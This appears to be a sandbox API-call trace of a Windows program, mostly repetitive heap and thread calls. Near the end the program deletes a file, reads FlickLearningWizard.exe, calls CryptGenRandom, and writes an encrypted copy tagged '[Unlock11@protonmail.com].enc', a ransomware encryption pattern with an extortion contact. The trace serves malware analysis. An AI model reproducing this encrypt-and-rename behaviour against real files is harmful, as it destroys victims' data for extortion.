[0119.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0119.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.410] GetCurrentThreadId () returned 0x9b0 [0119.410] GetLastError () returned 0x0 [0119.410] GetLastError () returned 0x0 [0119.410] GetLastError () returned 0x0 [0119.410] GetLastError () returned 0x0 [0119.410] GetCurrentThreadId () returned 0x9b0 [0119.410] GetLastError () returned 0x0 [0119.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0119.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0119.411] GetLastError () returned 0x0 [0119.413] GetLastError () returned 0x0 [0119.413] GetCurrentThreadId () returned 0x9b0 [0119.413] GetLastError () returned 0x0 [0119.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.413] GetLastError () returned 0x0 [0119.414] GetLastError () returned 0x0 [0119.414] GetCurrentThreadId () returned 0x9b0 [0119.414] GetLastError () returned 0x0 [0119.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0119.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.415] GetCurrentThreadId () returned 0x9b0 [0119.415] GetLastError () returned 0x0 [0119.415] GetLastError () returned 0x0 [0119.415] GetLastError () returned 0x0 [0119.415] GetLastError () returned 0x0 [0119.416] GetCurrentThreadId () returned 0x9b0 [0119.416] GetLastError () returned 0x0 [0119.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.416] GetLastError () returned 0x0 [0119.417] GetLastError () returned 0x0 [0119.417] GetCurrentThreadId () returned 0x9b0 [0119.417] GetLastError () returned 0x0 [0119.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.418] GetLastError () returned 0x0 [0119.418] GetLastError () returned 0x0 [0119.418] GetCurrentThreadId () returned 0x9b0 [0119.418] GetLastError () returned 0x0 [0119.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652e8 [0119.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.418] GetCurrentThreadId () returned 0x9b0 [0119.419] GetLastError () returned 0x0 [0119.419] GetLastError () returned 0x0 [0119.419] GetLastError () returned 0x0 [0119.419] GetLastError () returned 0x0 [0119.419] GetCurrentThreadId () returned 0x9b0 [0119.419] GetLastError () returned 0x0 [0119.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0119.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0119.420] GetLastError () returned 0x0 [0119.421] GetLastError () returned 0x0 [0119.421] GetCurrentThreadId () returned 0x9b0 [0119.421] GetLastError () returned 0x0 [0119.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.421] GetLastError () returned 0x0 [0119.423] GetLastError () returned 0x0 [0119.423] GetCurrentThreadId () returned 0x9b0 [0119.424] GetLastError () returned 0x0 [0119.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0119.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0119.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.424] GetLastError () returned 0x0 [0119.424] GetLastError () returned 0x0 [0119.424] GetLastError () returned 0x0 [0119.424] GetLastError () returned 0x0 [0119.425] GetCurrentThreadId () returned 0x9b0 [0119.425] GetLastError () returned 0x0 [0119.425] GetCurrentThreadId () returned 0x9b0 [0119.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0119.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0119.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.425] GetLastError () returned 0x0 [0119.426] GetLastError () returned 0x0 [0119.427] GetCurrentThreadId () returned 0x9b0 [0119.427] GetLastError () returned 0x0 [0119.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.427] GetLastError () returned 0x0 [0119.435] GetLastError () returned 0x0 [0119.435] GetCurrentThreadId () returned 0x9b0 [0119.435] GetLastError () returned 0x0 [0119.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0119.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.435] GetLastError () returned 0x0 [0119.436] GetLastError () returned 0x0 [0119.436] GetLastError () returned 0x0 [0119.436] GetLastError () returned 0x0 [0119.436] GetCurrentThreadId () returned 0x9b0 [0119.436] GetLastError () returned 0x0 [0119.436] GetCurrentThreadId () returned 0x9b0 [0119.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.437] GetLastError () returned 0x0 [0119.441] GetLastError () returned 0x0 [0119.441] GetCurrentThreadId () returned 0x9b0 [0119.441] GetLastError () returned 0x0 [0119.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.441] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.442] GetLastError () returned 0x0 [0119.443] GetLastError () returned 0x0 [0119.443] GetCurrentThreadId () returned 0x9b0 [0119.443] GetLastError () returned 0x0 [0119.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0119.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.443] GetLastError () returned 0x0 [0119.444] GetLastError () returned 0x0 [0119.444] GetLastError () returned 0x0 [0119.444] GetLastError () returned 0x0 [0119.444] GetCurrentThreadId () returned 0x9b0 [0119.444] GetLastError () returned 0x0 [0119.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0119.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0119.444] GetLastError () returned 0x0 [0119.446] GetLastError () returned 0x0 [0119.446] GetCurrentThreadId () returned 0x9b0 [0119.446] GetLastError () returned 0x0 [0119.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.446] GetLastError () returned 0x0 [0119.446] GetLastError () returned 0x0 [0119.447] GetCurrentThreadId () returned 0x9b0 [0119.447] GetLastError () returned 0x0 [0119.447] GetCurrentThreadId () returned 0x9b0 [0119.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653c8 [0119.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0119.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.447] GetLastError () returned 0x0 [0119.447] GetLastError () returned 0x0 [0119.448] GetLastError () returned 0x0 [0119.448] GetLastError () returned 0x0 [0119.448] GetCurrentThreadId () returned 0x9b0 [0119.448] GetLastError () returned 0x0 [0119.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0119.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.448] GetLastError () returned 0x0 [0119.449] GetLastError () returned 0x0 [0119.450] GetCurrentThreadId () returned 0x9b0 [0119.450] GetLastError () returned 0x0 [0119.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.450] GetLastError () returned 0x0 [0119.452] GetLastError () returned 0x0 [0119.452] GetCurrentThreadId () returned 0x9b0 [0119.452] GetLastError () returned 0x0 [0119.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.452] GetCurrentThreadId () returned 0x9b0 [0119.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0119.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0119.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.452] GetLastError () returned 0x0 [0119.453] GetLastError () returned 0x0 [0119.453] GetLastError () returned 0x0 [0119.453] GetLastError () returned 0x0 [0119.453] GetCurrentThreadId () returned 0x9b0 [0119.453] GetLastError () returned 0x0 [0119.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0119.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0119.557] GetLastError () returned 0x0 [0119.558] GetLastError () returned 0x0 [0119.559] GetCurrentThreadId () returned 0x9b0 [0119.559] GetLastError () returned 0x0 [0119.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.559] GetLastError () returned 0x0 [0119.559] GetLastError () returned 0x0 [0119.559] GetCurrentThreadId () returned 0x9b0 [0119.559] GetLastError () returned 0x0 [0119.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0119.560] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0119.560] GetCurrentThreadId () returned 0x9b0 [0119.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.560] GetLastError () returned 0x0 [0119.560] GetLastError () returned 0x0 [0119.560] GetLastError () returned 0x0 [0119.560] GetLastError () returned 0x0 [0119.561] GetCurrentThreadId () returned 0x9b0 [0119.561] GetLastError () returned 0x0 [0119.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0119.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0119.561] GetLastError () returned 0x0 [0119.563] GetLastError () returned 0x0 [0119.563] GetCurrentThreadId () returned 0x9b0 [0119.563] GetLastError () returned 0x0 [0119.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.563] GetLastError () returned 0x0 [0119.564] GetLastError () returned 0x0 [0119.564] GetCurrentThreadId () returned 0x9b0 [0119.564] GetLastError () returned 0x0 [0119.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653c8 [0119.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0119.564] GetCurrentThreadId () returned 0x9b0 [0119.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.564] GetLastError () returned 0x0 [0119.565] GetLastError () returned 0x0 [0119.565] GetLastError () returned 0x0 [0119.565] GetLastError () returned 0x0 [0119.565] GetCurrentThreadId () returned 0x9b0 [0119.565] GetLastError () returned 0x0 [0119.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0119.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0119.565] GetLastError () returned 0x0 [0119.567] GetLastError () returned 0x0 [0119.567] GetCurrentThreadId () returned 0x9b0 [0119.567] GetLastError () returned 0x0 [0119.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.567] GetLastError () returned 0x0 [0119.567] GetLastError () returned 0x0 [0119.567] GetCurrentThreadId () returned 0x9b0 [0119.567] GetLastError () returned 0x0 [0119.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652d8 [0119.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0119.568] GetCurrentThreadId () returned 0x9b0 [0119.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.568] GetLastError () returned 0x0 [0119.568] GetLastError () returned 0x0 [0119.568] GetLastError () returned 0x0 [0119.568] GetLastError () returned 0x0 [0119.569] GetCurrentThreadId () returned 0x9b0 [0119.569] GetLastError () returned 0x0 [0119.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.569] GetLastError () returned 0x0 [0119.570] GetLastError () returned 0x0 [0119.570] GetCurrentThreadId () returned 0x9b0 [0119.570] GetLastError () returned 0x0 [0119.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.571] GetLastError () returned 0x0 [0119.571] GetLastError () returned 0x0 [0119.571] GetCurrentThreadId () returned 0x9b0 [0119.571] GetCurrentThreadId () returned 0x9b0 [0119.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.571] GetCurrentThreadId () returned 0x9b0 [0119.573] GetCurrentThreadId () returned 0x9b0 [0119.573] GetCurrentThreadId () returned 0x9b0 [0119.573] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x6b99) returned 0x35c5908 [0119.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.573] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x6ba5) returned 0x35c5908 [0119.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0119.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.573] GetCurrentThreadId () returned 0x9b0 [0119.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6ba8) returned 0x35bc9f0 [0119.574] GetCurrentThreadId () returned 0x9b0 [0119.575] GetCurrentThreadId () returned 0x9b0 [0119.575] GetCurrentThreadId () returned 0x9b0 [0119.575] CloseHandle (hObject=0x3ac) returned 1 [0119.575] GetCurrentThreadId () returned 0x9b0 [0119.575] CloseHandle (hObject=0x39c) returned 1 [0119.576] GetCurrentThreadId () returned 0x9b0 [0119.576] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0119.576] GetCurrentThreadId () returned 0x9b0 [0119.576] GetCurrentThreadId () returned 0x9b0 [0119.576] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe", lpFilePart=0x9bada4*="FlickLearningWizard.exe") returned 0x4a [0119.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0119.576] GetCurrentThreadId () returned 0x9b0 [0119.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0119.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4d0 [0119.577] GetCurrentThreadId () returned 0x9b0 [0119.577] GetCurrentThreadId () returned 0x9b0 [0119.577] GetCurrentThreadId () returned 0x9b0 [0119.577] GetCurrentThreadId () returned 0x9b0 [0119.577] GetCurrentThreadId () returned 0x9b0 [0119.577] GetCurrentThreadId () returned 0x9b0 [0119.578] GetCurrentThreadId () returned 0x9b0 [0119.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0119.578] GetCurrentThreadId () returned 0x9b0 [0119.578] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800)) returned 1 [0119.578] GetCurrentThreadId () returned 0x9b0 [0119.578] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a73c | out: pbBuffer=0x366a73c) returned 1 [0119.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0119.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0119.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0119.579] GetCurrentThreadId () returned 0x9b0 [0119.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0119.579] GetCurrentThreadId () returned 0x9b0 [0119.579] GetCurrentThreadId () returned 0x9b0 [0119.579] GetCurrentThreadId () returned 0x9b0 [0119.579] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0119.579] GetFileType (hFile=0x39c) returned 0x1 [0119.580] GetCurrentThreadId () returned 0x9b0 [0119.580] GetFileType (hFile=0x39c) returned 0x1 [0119.580] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.580] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.580] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.580] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.580] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.580] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.580] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.580] GetLastError () returned 0x0 [0119.580] GetCurrentThreadId () returned 0x9b0 [0119.580] GetLastError () returned 0x0 [0119.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0119.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0119.581] GetLastError () returned 0x0 [0119.581] GetLastError () returned 0x0 [0119.581] GetLastError () returned 0x0 [0119.581] GetLastError () returned 0x0 [0119.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265468 [0119.581] GetLastError () returned 0x0 [0119.581] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0119.582] GetFileType (hFile=0x3ac) returned 0x1 [0119.582] GetLastError () returned 0x0 [0119.583] GetCurrentThreadId () returned 0x9b0 [0119.583] GetLastError () returned 0x0 [0119.583] GetFileType (hFile=0x3ac) returned 0x1 [0119.583] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.583] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.583] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.583] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.583] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.583] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.583] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.583] GetLastError () returned 0x0 [0119.583] GetCurrentThreadId () returned 0x9b0 [0119.583] GetLastError () returned 0x0 [0119.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0119.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.584] GetLastError () returned 0x0 [0119.584] GetLastError () returned 0x0 [0119.584] GetCurrentThreadId () returned 0x9b0 [0119.584] GetLastError () returned 0x0 [0119.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0119.584] GetLastError () returned 0x0 [0119.584] GetLastError () returned 0x0 [0119.585] 